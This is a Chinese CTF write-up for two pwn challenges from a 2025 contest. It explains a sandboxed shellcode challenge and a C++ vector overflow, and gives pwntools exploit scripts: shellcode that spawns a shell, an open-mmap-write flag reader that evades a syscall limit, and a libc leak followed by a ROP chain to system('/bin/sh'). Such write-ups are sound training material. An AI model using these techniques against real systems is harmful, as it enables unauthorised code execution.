Heaven’s door

题目映射了一段可以可读可写可执行的空间,并且调用执行这段空间
有两个防御,一个检查syscall只能调用两次,一个沙箱


因此,有可以直接用shellcraft生成一个提权的脚本
1 2 3 4 5 6 7 8 9
| from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
shellcode = asm(shellcraft.sh())
p=process('./pwn') p.send(shellcode) p.interactive()
|
也可以用ORW (思路和脚本来自2025第八届西湖论剑网络安全技能大赛WriteUp—Pwn篇_西湖论剑初赛2025-CSDN博客)
没有read 但是可以直接用mmap映射到空间上 ,write函数用\x90占位,然后正常syscall
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| from pwn import * context(arch = 'amd64',os = 'linux',log_level = 'debug')
p=process('./pwn')
shellcode = asm(shellcraft.open('flag', 0, 0)) shellcode += asm(shellcraft.mmap(0x20000, 0x1000, 1, 1, 'rax', 0)) shellcode += asm(''' mov rax,1 mov rdi,1 mov rsi,0x20000 mov rdx,0x50 mov byte ptr [rip],0x0f ''') + b'\x90\x05'
p.send(shellcode)
p.interactive()
|
vpwn
啊, 逆c++真是难受啊,还得硬看

主页是edit push pop printf这四个功能
先看push函数

这里存在一个洞,vector+24是存放result的地方,连续push 7次就会把vector+24地方的改掉成我们输入的数字了
再看printf_vector这里

这里是打印小于vector前面的值
我们这里直接说一下我怎么动调找到泄露数据的libc

先下断点到push函数
这里我们输入一个值查看位置

接着在函数中我们找到了

根据静态函数的传参


这样就可以找到libc,后面就是利用edit劫持这个函数,改成system /bin/sh

exp思路来自
2025第八届西湖论剑网络安全技能大赛WriteUp—Pwn篇_西湖论剑2025-CSDN博客
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61
| from pwn import * context(arch = 'amd64',os = 'linux',log_level = 'debug')
p=process('./pwn') libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
s = lambda data : p.send(data) sa = lambda text,data :p.sendafter(text, data) sl = lambda data :p.sendline(data) sla = lambda text,data :p.sendlineafter(text, data) rl = lambda text :p.recvuntil(text) pr = lambda num=4096 :print(p.recv(num)) inter = lambda :p.interactive() l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00')) l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00')) uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00')) int16 = lambda data :int(data,16) lg = lambda s, num: log.success(f"{s} >>> {hex(num)}")
def edit(num,data): sla(b'Enter your choice:',b'1') sla(b'Enter the index to edit (0-based):',str(num)) sla(b'Enter the new value:',data)
for i in range(6): sla(b'Enter your choice:',b'2') sla(b'Enter the value to push: ',b'11111111')
sla(b'Enter your choice:',b'2') sla(b'Enter the value to push: ',b'100')
sla(b'Enter your choice:',b'4') p.recvuntil(b'StackVector contents: ')
meg = p.recvuntil(b'\n').split(b' ') libc_base = (int(meg[19]) << 32) + (int(meg[18]) & 0xffffffff) - 0x29d90 lg('libc',libc_base) gdb.attach(p) pause() bin_sh_addr=libc_base+next(libc.search(b'/bin/sh')) system_addr=libc_base+libc.sym['system'] ret=libc_base+0x29139 pop_rdi=libc_base+0x2a3e5
edit(18, str(ret & 0xFFFFFFFF).encode()) edit(19, str((ret >> 32) & 0xFFFFFFFF).encode()) edit(20, str(pop_rdi & 0xFFFFFFFF).encode()) edit(21, str((pop_rdi >> 32) & 0xFFFFFFFF).encode()) edit(22, str(bin_sh_addr & 0xFFFFFFFF).encode()) edit(23, str((bin_sh_addr >> 32) & 0xFFFFFFFF).encode()) edit(24, str(system_addr & 0xFFFFFFFF).encode()) edit(25, str((system_addr >> 32) & 0xFFFFFFFF).encode())
sla(b'Enter your choice:',b'5')
p.interactive()
|
后面的题等我学完更多的东西再去打吧